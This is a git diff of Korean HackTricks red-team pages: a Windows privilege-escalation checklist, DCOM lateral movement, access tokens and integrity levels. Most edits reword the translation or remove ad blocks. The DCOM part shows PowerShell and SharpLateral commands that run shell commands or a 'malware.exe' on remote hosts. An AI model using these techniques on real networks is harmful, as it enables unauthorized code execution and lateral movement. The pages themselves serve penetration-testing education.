* [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) 자격 증명
|
||||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) 자격 증명을 사용할 수 있나요?
|
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) 자격 증명을 사용할 수 있나요?
|
||||||
|
@ -119,25 +111,19 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* [ ] [**웹 로그**](windows-local-privilege-escalation/#logs)에서 흥미로운 정보?
|
* [ ] [**웹 로그**](windows-local-privilege-escalation/#logs)에서 흥미로운 정보?
|
||||||
* [ ] 사용자에게 [**자격 증명 요청**](windows-local-privilege-escalation/#ask-for-credentials)하고 싶나요?
|
* [ ] 사용자에게 [**자격 증명 요청**](windows-local-privilege-escalation/#ask-for-credentials)하고 싶나요?
|
||||||
* [ ] [**휴지통 안의 흥미로운 파일**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
* [ ] [**휴지통 안의 흥미로운 파일**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||||
* [ ] [**자격 증명이 포함된 다른 레지스트리**](windows-local-privilege-escalation/#inside-the-registry)?
|
* [ ] [**자격 증명 포함 레지스트리**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||||
* [ ] [**브라우저 데이터**](windows-local-privilege-escalation/#browsers-history) 안에 (dbs, 기록, 북마크 등 ...)?
|
* [ ] [**브라우저 데이터**](windows-local-privilege-escalation/#browsers-history) 안에 (dbs, 기록, 북마크 등)?
|
||||||
* [ ] 파일 및 레지스트리에서 [**일반 비밀번호 검색**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)
|
* [ ] [**파일 및 레지스트리에서 일반 비밀번호 검색**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)
|
||||||
* [ ] 비밀번호를 자동으로 검색하는 [**도구**](windows-local-privilege-escalation/#tools-that-search-for-passwords)
|
* [ ] 비밀번호를 자동으로 검색하는 [**도구**](windows-local-privilege-escalation/#tools-that-search-for-passwords)
|
||||||
|
|
||||||
### [유출된 핸들러](windows-local-privilege-escalation/#leaked-handlers)
|
### [유출된 핸들러](windows-local-privilege-escalation/#leaked-handlers)
|
||||||
|
|
||||||
* [ ] 관리자에 의해 실행된 프로세스의 어떤 핸들러에 접근할 수 있나요?
|
* [ ] 관리자에 의해 실행된 프로세스의 핸들러에 접근할 수 있나요?
|
||||||
|
|
||||||
### [파이프 클라이언트 가장하기](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
### [파이프 클라이언트 가장하기](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||||
|
|
||||||
* [ ] 이를 악용할 수 있는지 확인하세요.
|
* [ ] 이를 악용할 수 있는지 확인하세요.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -148,7 +134,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## MMC20.Application
|
## MMC20.Application
|
||||||
|
|
||||||
**이 기술에 대한 자세한 정보는 [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)의 원본 게시물을 확인하세요.**
|
**이 기술에 대한 더 많은 정보는 [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)의 원본 게시물을 확인하세요.**
|
||||||
|
|
||||||
분산 구성 요소 개체 모델(DCOM) 개체는 개체와의 네트워크 기반 상호 작용을 위한 흥미로운 기능을 제공합니다. Microsoft는 DCOM 및 구성 요소 개체 모델(COM)에 대한 포괄적인 문서를 제공하며, DCOM에 대한 문서는 [여기](https://msdn.microsoft.com/en-us/library/cc226801.aspx)에서, COM에 대한 문서는 [여기](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)에서 확인할 수 있습니다. DCOM 응용 프로그램 목록은 PowerShell 명령을 사용하여 검색할 수 있습니다:
|
분산 구성 요소 개체 모델(DCOM) 개체는 개체와의 네트워크 기반 상호 작용을 위한 흥미로운 기능을 제공합니다. Microsoft는 DCOM 및 구성 요소 개체 모델(COM)에 대한 포괄적인 문서를 제공하며, DCOM에 대한 문서는 [여기](https://msdn.microsoft.com/en-us/library/cc226801.aspx)에서, COM에 대한 문서는 [여기](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)에서 확인할 수 있습니다. DCOM 응용 프로그램 목록은 PowerShell 명령을 사용하여 검색할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
|
@ -33,7 +25,7 @@ Get-CimInstance Win32_DCOMApplication
|
||||||
```
|
```
|
||||||
COM 객체인 [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx)는 MMC 스냅인 작업의 스크립팅을 가능하게 합니다. 특히, 이 객체는 `Document.ActiveView` 아래에 `ExecuteShellCommand` 메서드를 포함하고 있습니다. 이 메서드에 대한 더 많은 정보는 [여기](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)에서 확인할 수 있습니다. 실행해 보세요:
|
COM 객체인 [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx)는 MMC 스냅인 작업의 스크립팅을 가능하게 합니다. 특히, 이 객체는 `Document.ActiveView` 아래에 `ExecuteShellCommand` 메서드를 포함하고 있습니다. 이 메서드에 대한 더 많은 정보는 [여기](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)에서 확인할 수 있습니다. 실행해 보세요:
|
||||||
|
|
||||||
이 기능은 DCOM 애플리케이션을 통해 네트워크에서 명령을 실행하는 것을 용이하게 합니다. 관리자로서 원격으로 DCOM과 상호작용하기 위해 PowerShell을 다음과 같이 사용할 수 있습니다:
|
이 기능은 DCOM 애플리케이션을 통해 네트워크에서 명령을 실행하는 것을 용이하게 합니다. 관리자로서 DCOM과 원격으로 상호작용하기 위해 PowerShell을 다음과 같이 사용할 수 있습니다:
|
||||||
```powershell
|
```powershell
|
||||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||||
```
|
```
|
||||||
|
@ -59,10 +51,10 @@ ls \\10.10.10.10\c$\Users
|
||||||
|
|
||||||
**MMC20.Application** 객체는 명시적인 "LaunchPermissions"가 부족하여 기본적으로 관리자가 접근할 수 있는 권한으로 설정되어 있습니다. 추가 세부정보는 [여기](https://twitter.com/tiraniddo/status/817532039771525120)에서 확인할 수 있으며, 명시적인 Launch Permission이 없는 객체를 필터링하기 위해 [@tiraniddo](https://twitter.com/tiraniddo)의 OleView .NET 사용을 권장합니다.
|
**MMC20.Application** 객체는 명시적인 "LaunchPermissions"가 부족하여 기본적으로 관리자가 접근할 수 있는 권한으로 설정되어 있습니다. 추가 세부정보는 [여기](https://twitter.com/tiraniddo/status/817532039771525120)에서 확인할 수 있으며, 명시적인 Launch Permission이 없는 객체를 필터링하기 위해 [@tiraniddo](https://twitter.com/tiraniddo)의 OleView .NET 사용을 권장합니다.
|
||||||
|
|
||||||
명시적인 Launch Permissions가 부족한 두 개의 특정 객체인 `ShellBrowserWindow`와 `ShellWindows`가 강조되었습니다. `HKCR:\AppID\{guid}` 아래에 `LaunchPermission` 레지스트리 항목이 없다는 것은 명시적인 권한이 없음을 의미합니다.
|
명시적인 Launch Permissions가 부족한 두 개의 특정 객체, `ShellBrowserWindow`와 `ShellWindows`가 강조되었습니다. `HKCR:\AppID\{guid}` 아래에 `LaunchPermission` 레지스트리 항목이 없다는 것은 명시적인 권한이 없음을 의미합니다.
|
||||||
|
|
||||||
### ShellWindows
|
### ShellWindows
|
||||||
ProgID가 없는 `ShellWindows`의 경우, .NET 메서드 `Type.GetTypeFromCLSID`와 `Activator.CreateInstance`를 사용하여 AppID를 통해 객체 인스턴스를 생성할 수 있습니다. 이 과정은 OleView .NET을 활용하여 `ShellWindows`의 CLSID를 검색합니다. 인스턴스화된 후에는 `WindowsShell.Item` 메서드를 통해 상호작용이 가능하며, `Document.Application.ShellExecute`와 같은 메서드 호출로 이어집니다.
|
`ShellWindows`는 ProgID가 없기 때문에 .NET 메서드 `Type.GetTypeFromCLSID`와 `Activator.CreateInstance`를 사용하여 AppID를 통해 객체 인스턴스를 생성할 수 있습니다. 이 과정은 OleView .NET을 활용하여 `ShellWindows`의 CLSID를 검색합니다. 인스턴스화된 후에는 `WindowsShell.Item` 메서드를 통해 상호작용이 가능하며, `Document.Application.ShellExecute`와 같은 메서드 호출로 이어집니다.
|
||||||
|
|
||||||
객체를 인스턴스화하고 원격으로 명령을 실행하기 위한 PowerShell 명령 예제가 제공되었습니다:
|
객체를 인스턴스화하고 원격으로 명령을 실행하기 위한 PowerShell 명령 예제가 제공되었습니다:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -102,7 +94,7 @@ $Obj.DDEInitiate("cmd", "/c $Command")
|
||||||
|
|
||||||
이 기술을 자동화하기 위해 두 가지 도구가 강조됩니다:
|
이 기술을 자동화하기 위해 두 가지 도구가 강조됩니다:
|
||||||
|
|
||||||
- **Invoke-DCOM.ps1**: 원격 머신에서 코드를 실행하기 위한 다양한 방법의 호출을 단순화하는 Empire 프로젝트에서 제공하는 PowerShell 스크립트입니다. 이 스크립트는 Empire GitHub 리포지토리에서 접근할 수 있습니다.
|
- **Invoke-DCOM.ps1**: 원격 머신에서 코드를 실행하기 위한 다양한 방법의 호출을 단순화하는 Empire 프로젝트에서 제공하는 PowerShell 스크립트입니다. 이 스크립트는 Empire GitHub 저장소에서 접근할 수 있습니다.
|
||||||
|
|
||||||
- **SharpLateral**: 원격으로 코드를 실행하기 위해 설계된 도구로, 다음 명령어와 함께 사용할 수 있습니다:
|
- **SharpLateral**: 원격으로 코드를 실행하기 위해 설계된 도구로, 다음 명령어와 함께 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
|
@ -120,12 +112,6 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Access Tokens
|
## Access Tokens
|
||||||
|
|
||||||
각 **사용자**는 시스템에 **로그인**할 때 해당 로그인 세션에 대한 보안 정보가 포함된 액세스 토큰을 **보유**합니다. 사용자가 로그인할 때 시스템은 액세스 토큰을 생성합니다. **사용자를 대신하여 실행되는** 모든 프로세스는 **액세스 토큰의 복사본**을 가집니다. 이 토큰은 사용자, 사용자의 그룹 및 사용자의 권한을 식별합니다. 토큰에는 현재 로그인 세션을 식별하는 로그인 SID(보안 식별자)도 포함되어 있습니다.
|
각 **사용자가 시스템에 로그인**하면 **해당 로그인 세션에 대한 보안 정보가 포함된 액세스 토큰을 보유**합니다. 사용자가 로그인할 때 시스템은 액세스 토큰을 생성합니다. **사용자를 대신하여 실행되는 모든 프로세스는** **액세스 토큰의 복사본을 가집니다**. 이 토큰은 사용자를 식별하고, 사용자의 그룹 및 사용자의 권한을 나타냅니다. 토큰에는 현재 로그인 세션을 식별하는 로그인 SID(보안 식별자)도 포함되어 있습니다.
|
||||||
|
|
||||||
이 정보를 보려면 `whoami /all`을 실행할 수 있습니다.
|
이 정보를 보려면 `whoami /all`을 실행할 수 있습니다.
|
||||||
```
|
```
|
||||||
|
@ -83,8 +70,8 @@ or using _Process Explorer_ from Sysinternals (select process and access"Securit
|
||||||
|
|
||||||
### 로컬 관리자
|
### 로컬 관리자
|
||||||
|
|
||||||
로컬 관리자가 로그인할 때, **두 개의 액세스 토큰이 생성됩니다**: 하나는 관리자 권한을 가진 것이고, 다른 하나는 일반 권한을 가진 것입니다. **기본적으로**, 이 사용자가 프로세스를 실행할 때 **정상** (비관리자) **권한이 사용됩니다**. 이 사용자가 **관리자로서** 무언가를 **실행하려고** 할 때 ("관리자로 실행" 예를 들어) **UAC**가 권한을 요청하는 데 사용됩니다.\
|
로컬 관리자가 로그인할 때, **두 개의 액세스 토큰이 생성됩니다**: 하나는 관리자 권한을 가진 것이고, 다른 하나는 일반 권한을 가진 것입니다. **기본적으로**, 이 사용자가 프로세스를 실행할 때 **일반** (비관리자) **권한이 사용됩니다**. 이 사용자가 **관리자로서** 무엇인가를 **실행하려고** 할 때 ("관리자로 실행" 예를 들어) **UAC**가 권한을 요청하기 위해 사용됩니다.\
|
||||||
[**UAC에 대해 더 알고 싶다면 이 페이지를 읽어보세요**](../authentication-credentials-uac-and-efs/#uac)**.**
|
UAC에 대해 [**더 알아보려면 이 페이지를 읽어보세요**](../authentication-credentials-uac-and-efs/#uac)**.**
|
||||||
|
|
||||||
### 자격 증명 사용자 가장
|
### 자격 증명 사용자 가장
|
||||||
|
|
||||||
|
@ -105,14 +92,14 @@ runas /user:domain\username /netonly cmd.exe
|
||||||
|
|
||||||
* **기본 토큰**: 프로세스의 보안 자격 증명을 나타냅니다. 기본 토큰의 생성 및 프로세스와의 연관은 권한 상승이 필요한 작업으로, 권한 분리 원칙을 강조합니다. 일반적으로 인증 서비스가 토큰 생성을 담당하고, 로그온 서비스가 사용자 운영 체제 셸과의 연관을 처리합니다. 프로세스는 생성 시 부모 프로세스의 기본 토큰을 상속받는다는 점도 주목할 만합니다.
|
* **기본 토큰**: 프로세스의 보안 자격 증명을 나타냅니다. 기본 토큰의 생성 및 프로세스와의 연관은 권한 상승이 필요한 작업으로, 권한 분리 원칙을 강조합니다. 일반적으로 인증 서비스가 토큰 생성을 담당하고, 로그온 서비스가 사용자 운영 체제 셸과의 연관을 처리합니다. 프로세스는 생성 시 부모 프로세스의 기본 토큰을 상속받는다는 점도 주목할 만합니다.
|
||||||
* **임시 토큰**: 서버 애플리케이션이 클라이언트의 신원을 일시적으로 채택하여 보안 객체에 접근할 수 있도록 합니다. 이 메커니즘은 네 가지 운영 수준으로 나뉩니다:
|
* **임시 토큰**: 서버 애플리케이션이 클라이언트의 신원을 일시적으로 채택하여 보안 객체에 접근할 수 있도록 합니다. 이 메커니즘은 네 가지 운영 수준으로 나뉩니다:
|
||||||
* **익명**: 신원 없는 사용자와 유사한 서버 접근을 허용합니다.
|
* **익명**: 신원 불명의 사용자와 유사한 서버 접근을 허용합니다.
|
||||||
* **식별**: 서버가 객체 접근을 위해 클라이언트의 신원을 사용하지 않고 확인할 수 있도록 합니다.
|
* **식별**: 서버가 객체 접근을 위해 클라이언트의 신원을 활용하지 않고 확인할 수 있도록 합니다.
|
||||||
* **임시**: 서버가 클라이언트의 신원으로 작동할 수 있게 합니다.
|
* **임시**: 서버가 클라이언트의 신원으로 작동할 수 있게 합니다.
|
||||||
* **위임**: 임시와 유사하지만, 서버가 상호작용하는 원격 시스템에 이 신원 가정을 확장할 수 있는 능력을 포함하여 자격 증명을 보존합니다.
|
* **위임**: 임시와 유사하지만, 서버가 상호작용하는 원격 시스템에 이 신원 가정을 확장할 수 있는 능력을 포함하여 자격 증명을 보존합니다.
|
||||||
|
|
||||||
#### 임시 토큰
|
#### 임시 토큰
|
||||||
|
|
||||||
메타스플로잇의 _**incognito**_ 모듈을 사용하면 충분한 권한이 있는 경우 다른 **토큰**을 쉽게 **목록화**하고 **임시**할 수 있습니다. 이는 **다른 사용자처럼 행동하는 작업을 수행하는 데 유용할 수 있습니다**. 이 기술로 **권한 상승**도 할 수 있습니다.
|
메타스플로잇의 _**incognito**_ 모듈을 사용하면 충분한 권한이 있을 경우 다른 **토큰**을 쉽게 **목록화**하고 **임시화**할 수 있습니다. 이는 **다른 사용자처럼 행동하는 작업을 수행하는 데 유용할 수 있습니다**. 이 기술로 **권한 상승**도 할 수 있습니다.
|
||||||
|
|
||||||
### 토큰 권한
|
### 토큰 권한
|
||||||
|
|
||||||
|
@ -124,21 +111,10 @@ runas /user:domain\username /netonly cmd.exe
|
||||||
|
|
||||||
[**모든 가능한 토큰 권한과 이 외부 페이지의 일부 정의를 확인하세요**](https://github.com/gtworek/Priv2Admin).
|
[**모든 가능한 토큰 권한과 이 외부 페이지의 일부 정의를 확인하세요**](https://github.com/gtworek/Priv2Admin).
|
||||||
|
|
||||||
## 참고 문헌
|
## 참고자료
|
||||||
|
|
||||||
이 튜토리얼에서 토큰에 대해 더 알아보세요: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) 및 [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
이 튜토리얼에서 토큰에 대해 더 알아보세요: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) 및 [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 회사나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인하는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 보세요:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,34 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Integrity Levels
|
## Integrity Levels
|
||||||
|
|
||||||
Windows Vista 및 이후 버전에서는 모든 보호된 항목에 **무결성 수준** 태그가 붙습니다. 이 설정은 대부분의 파일과 레지스트리 키에 "중간" 무결성 수준을 할당하며, Internet Explorer 7이 낮은 무결성 수준에서 쓸 수 있는 특정 폴더와 파일을 제외합니다. 기본 동작은 표준 사용자가 시작한 프로세스가 중간 무결성 수준을 가지며, 서비스는 일반적으로 시스템 무결성 수준에서 작동합니다. 높은 무결성 레이블은 루트 디렉터리를 보호합니다.
|
Windows Vista 및 이후 버전에서는 모든 보호된 항목에 **무결성 수준** 태그가 있습니다. 이 설정은 주로 파일 및 레지스트리 키에 "중간" 무결성 수준을 할당하며, Internet Explorer 7이 낮은 무결성 수준에서 쓸 수 있는 특정 폴더 및 파일을 제외합니다. 기본 동작은 표준 사용자가 시작한 프로세스가 중간 무결성 수준을 가지며, 서비스는 일반적으로 시스템 무결성 수준에서 작동합니다. 높은 무결성 레이블은 루트 디렉터리를 보호합니다.
|
||||||
|
|
||||||
주요 규칙은 객체의 무결성 수준보다 낮은 무결성 수준을 가진 프로세스가 객체를 수정할 수 없다는 것입니다. 무결성 수준은 다음과 같습니다:
|
주요 규칙은 객체의 무결성 수준보다 낮은 무결성 수준을 가진 프로세스가 객체를 수정할 수 없다는 것입니다. 무결성 수준은 다음과 같습니다:
|
||||||
|
|
||||||
* **신뢰할 수 없음**: 이 수준은 익명 로그인이 있는 프로세스를 위한 것입니다. %%%예: Chrome%%%
|
* **신뢰할 수 없음**: 이 수준은 익명 로그인이 있는 프로세스를 위한 것입니다. %%%예: Chrome%%%
|
||||||
* **낮음**: 주로 인터넷 상호작용을 위해, 특히 Internet Explorer의 보호 모드에서 관련 파일 및 프로세스와 특정 폴더(예: **임시 인터넷 폴더**)에 영향을 미칩니다. 낮은 무결성 프로세스는 레지스트리 쓰기 접근 및 제한된 사용자 프로필 쓰기 접근을 포함하여 상당한 제한을 받습니다.
|
* **낮음**: 주로 인터넷 상호작용을 위해, 특히 Internet Explorer의 보호 모드에서 관련 파일 및 프로세스와 특정 폴더(예: **임시 인터넷 폴더**)에 영향을 미칩니다. 낮은 무결성 프로세스는 레지스트리 쓰기 접근 및 제한된 사용자 프로필 쓰기 접근을 포함하여 상당한 제한을 받습니다.
|
||||||
* **중간**: 대부분의 활동에 대한 기본 수준으로, 표준 사용자 및 특정 무결성 수준이 없는 객체에 할당됩니다. 관리자의 그룹의 구성원도 기본적으로 이 수준에서 작동합니다.
|
* **중간**: 대부분의 활동에 대한 기본 수준으로, 표준 사용자 및 특정 무결성 수준이 없는 객체에 할당됩니다. 관리자의 그룹 구성원조차도 기본적으로 이 수준에서 작동합니다.
|
||||||
* **높음**: 관리자를 위해 예약되어 있으며, 낮은 무결성 수준의 객체를 수정할 수 있도록 허용합니다. 높은 수준의 객체도 포함됩니다.
|
* **높음**: 관리자를 위해 예약되어 있으며, 낮은 무결성 수준의 객체를 수정할 수 있도록 하며, 높은 수준의 객체도 포함됩니다.
|
||||||
* **시스템**: Windows 커널 및 핵심 서비스의 가장 높은 운영 수준으로, 관리자조차도 접근할 수 없으며, 중요한 시스템 기능을 보호합니다.
|
* **시스템**: Windows 커널 및 핵심 서비스의 가장 높은 운영 수준으로, 관리자조차도 접근할 수 없으며, 중요한 시스템 기능을 보호합니다.
|
||||||
* **설치자**: 모든 다른 수준 위에 있는 고유한 수준으로, 이 수준의 객체는 다른 모든 객체를 제거할 수 있습니다.
|
* **설치자**: 모든 다른 수준 위에 있는 고유한 수준으로, 이 수준의 객체가 다른 모든 객체를 제거할 수 있도록 합니다.
|
||||||
|
|
||||||
**Process Explorer**를 사용하여 프로세스의 무결성 수준을 확인할 수 있으며, 프로세스의 **속성**에 접근하고 "**보안**" 탭을 확인하면 됩니다:
|
